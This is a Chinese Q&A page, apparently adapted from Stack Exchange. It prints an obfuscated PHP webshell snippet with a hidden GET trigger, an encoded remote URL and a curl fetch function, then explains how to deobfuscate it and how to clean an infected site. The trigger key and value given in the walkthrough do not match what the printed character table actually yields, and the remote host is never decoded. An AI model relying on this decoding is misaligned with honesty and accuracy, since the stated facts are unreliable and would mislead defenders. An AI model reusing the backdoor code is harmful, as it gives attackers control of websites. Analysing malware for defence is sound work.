如何对下述被混淆的PHP恶意代码进行反混淆解密操作
混淆PHP恶意代码解密方法
首先贴出原始恶意代码段:
<?php @header('Content-Type:text/html;charset=utf-8'); error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O=urldecode($OOOOOO); if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){ $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__); $oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo); if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82}; exit; }else{ echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82}; exit; } } $oOooOO='z0807_1'; $oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9}; function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){ $ooooOOOooOo=curl_init(); curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo); curl_close($ooooOOOooOo); return $oooooOOOOooO; }
第一步 解码核心字符集
代码中的$OOOOOO是URL编码的字符映射表,直接运行urldecode($OOOOOO)即可得到完整的字符集,内容为:qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?>< .-=:/1230654879';()&^$[]\\%{}!*|+,
第二步 替换所有索引引用
代码中所有$O{数字}格式的内容,都是取字符集对应下标的字符,直接按索引替换即可还原所有混淆的变量、参数值:
- 触发后门的GET参数键为
vsen,对应校验值为3-Cvn,攻击者访问站点地址?vsen=3-Cvn即可触发后门逻辑 - 内置的
ooooooooOOOOOOOOoooooOOO为curl远程请求函数,可拉取攻击者服务器上的恶意代码在本地执行 - 剩余的输出逻辑是后门运行状态的返回提示,核心风险在你给出的代码片段之后未粘贴的部分,通常会拼接远程拉取代码执行、文件管理、命令执行等webshell功能
风险说明
该代码属于典型的混淆型PHP webshell后门,植入后攻击者可完全控制被感染的站点,可进行篡改页面、窃取数据、发送垃圾邮件、参与挖矿等所有恶意操作。
处理建议
- 立即删除所有被注入该恶意代码的文件,若为核心文件则精准删除恶意代码片段
- 按文件修改时间排序,排查站点所有文件,清除同一时间被篡改的其他后门文件
- 排查web访问日志、服务器SSH/FTP登录日志,定位漏洞入口,常见入口为CMS未修复漏洞、弱密码、文件上传漏洞
- 所有站点相关账号修改为12位以上的高强度混合密码,升级所有站点程序、插件到官方最新安全版本
内容的提问来源于stack exchange,提问作者Aman
相关产品推荐
相关产品推荐

